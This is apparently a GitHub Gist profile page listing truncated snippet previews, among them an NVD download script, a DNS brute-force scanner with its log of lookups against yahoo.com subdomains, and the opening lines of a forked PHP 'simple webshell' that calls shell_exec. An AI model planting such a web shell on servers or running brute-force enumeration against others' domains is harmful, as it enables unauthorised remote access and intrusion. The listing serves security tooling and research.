Skip to content

Instantly share code, notes, and snippets.

View jcran's full-sized avatar
💭
feelin fancy

Jonathan Cran jcran

💭
feelin fancy
View GitHub Profile
name, techniques, technologies, installations
“feed XYZ”, “mostly network IDS”, “uses snort + ET”, “installed at universities”
"feed abc", "endpoint", "uses OSSEC", "installed at financial institutions and amazon"
@jcran
jcran / nvd_download.sh
Created January 29, 2018 20:28 — forked from christiangalsterer/nvd_download.sh
Script to download the National Vulnerability Database files from https://nvd.nist.gov
#!/bin/sh
# https://gist.github.com/christiangalsterer/5f55389b9c50c74c31b9
# Copyright 2015 Christian Galsterer
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
@jcran
jcran / webshell.php
Created April 8, 2016 07:09 — forked from RyanKung/webshell.php
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
17:53:06 worker.1 | [-] dns_brute_sub: Hit exception: no address for ns221.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for ns222.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for us.m11.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for us.m12.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for us.m21.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for us.m22.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for w11.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for w12.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for w21.yahoo.com
17:53:07 worker.1 | [-] dns_brute_sub: Hit exception: no address for w22.yahoo.com
module Intrigue
module Scanner
class RecursiveDnsBrute < Intrigue::Scanner::Base
private
### Main "workflow" function
#
def _recurse(entity, depth)

Best UNIX Shell tools

These are a list of usages of shell commands I can't live without on UNIX-based systems.

Install

Mac OS X

Using Homebrew (yes, I am opinionated) you can install the following tools with the following packages:

===== config.ru
require 'api' # Loads the app(s)
map("/v1/component_a") do
run Sinatra.new(Pwnix::ComponentA)
end
map("/v1/component_b") do
run Sinatra.new(Pwnix::ComponentB)